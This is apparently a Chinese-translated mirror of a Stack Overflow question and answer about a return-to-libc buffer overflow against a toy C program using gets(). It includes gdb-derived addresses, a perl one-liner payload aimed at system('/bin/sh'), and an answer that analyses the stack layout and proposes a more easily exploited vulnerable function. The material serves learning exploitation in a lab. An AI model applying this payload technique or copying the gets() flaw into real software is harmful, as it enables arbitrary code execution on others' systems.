首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >返回libc - problem

返回libc - problem
EN

Stack Overflow用户
提问于 2011-02-17 20:52:10
回答 1查看 4.4K关注 0票数 8

我遇到了关于return-to-libc漏洞的问题。问题是什么都没有发生,但没有分段错误(是的,我实际上溢出了堆栈)。

这是我的程序:

代码语言:javascript
复制
int main(int argc, char **argv) {
  char array[512];
  gets(array);
}

我使用get而不是strcopy,因为我的地址以0x00开头,而strcpy认为它是字符串的结尾,所以我不能使用它。

以下是我需要的地址:

代码语言:javascript
复制
$ gdb main core
(gdb) p system
$1 = {<text variable, no debug info>} 0x179680 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x16f6e0 <exit>
(gdb)  x/s 0xbffffe3f
0xbffffe3f:      "/bin/sh"

当输入正确的序列时,会发生这种情况:

代码语言:javascript
复制
eleanor@eleanor32:~/testing/root$ perl -e 'print "\x41"x516 . "\x80\x96\x17\x00" . "\xe0\xf6\x16\x00" . "\x3f\xfe\xff\xbf"' | ./main
eleanor@eleanor32:~/testing/root$

所以没什么。

但是如果我输入520 'A's (0x41),那么EIP会被‘A’溢出。如果有516 'A',什么也不会发生,但是EIP包含系统地址,跟在出口地址后面,跟在/bin/sh指针后面。

为什么什么都没发生?

EN

回答 1

Stack Overflow用户

回答已采纳

发布于 2011-02-19 03:31:43

在此之前,让我们做一些asm:

代码

代码语言:javascript
复制
$ cat gets.c
int main(int argc, char **argv) {
  char array[512];
  gets(array);
}

Asm

代码语言:javascript
复制
$ gcc gets.c -o getsA.s -S -fverbose-asm
$ cat gets.s
    ....
.globl main
        .type   main, @function
main:
        leal    4(%esp), %ecx   #,
        andl    $-16, %esp      #,
        pushl   -4(%ecx)        #  (1)
        pushl   %ebp            #  2
        movl    %esp, %ebp      #,
        pushl   %ecx            #  3
        subl    $516, %esp      #,
        leal    -516(%ebp), %eax        #, tmp60
        movl    %eax, (%esp)    # tmp60,
        call    gets            #  << break here  
        addl    $516, %esp      #,  << or here to see the stack picture
        popl    %ecx            #  (3')
        popl    %ebp            #  (2')
        leal    -4(%ecx), %esp  #  (1')
        ret
        .size   main, .-main

在这里Understanding the purpose of some assembly statements详细描述了开场白和结束语(带有对齐代码)

堆栈布局:

代码语言:javascript
复制
(char)  array[0]
...
(char)  array[511]
(32bit) $ecx - pushed by 3 - it was the address on the stack of the eip which main will return to
(32bit) $ebp - pushed by 2
(32bit) $esp - pushed by 1 - change the $esp to the original value

因此,如果你想改变main的返回地址,你不应该改变堆栈中将被ret使用的地址,但也应该通过(1),(2),(3)推送来重复保存在堆栈中的值。或者,您可以在数组本身中嵌入一个新的返回地址,并使用新的堆栈address+4仅覆盖(3)。(使用516字节字符串)

我建议你使用这个源代码来破解它:

代码语言:javascript
复制
$ cat getss.c
f()
{
  char array[512];
  gets(array);
}
int main(int argc, char **argv) {
    f();
}

因为f在堆栈重新排列方面没有问题。

代码语言:javascript
复制
.globl f
        .type   f, @function
f:
        pushl   %ebp    #
        movl    %esp, %ebp      #,
        subl    $520, %esp      #,
        leal    -512(%ebp), %eax        #, tmp59
        movl    %eax, (%esp)    # tmp59,
        call    gets    #
        leave
        ret
        .size   f, .-f

f()的堆栈布局

代码语言:javascript
复制
(char)  array[0]
...
(char)  array[511]
(32bit) old ebp
(32bit) return address

f()中具有520字节"A“的ret指令处的断点

代码语言:javascript
复制
(gdb) x/w $sp
0xXXXXXa3c:     0x41414141
票数 3
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/5029148

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档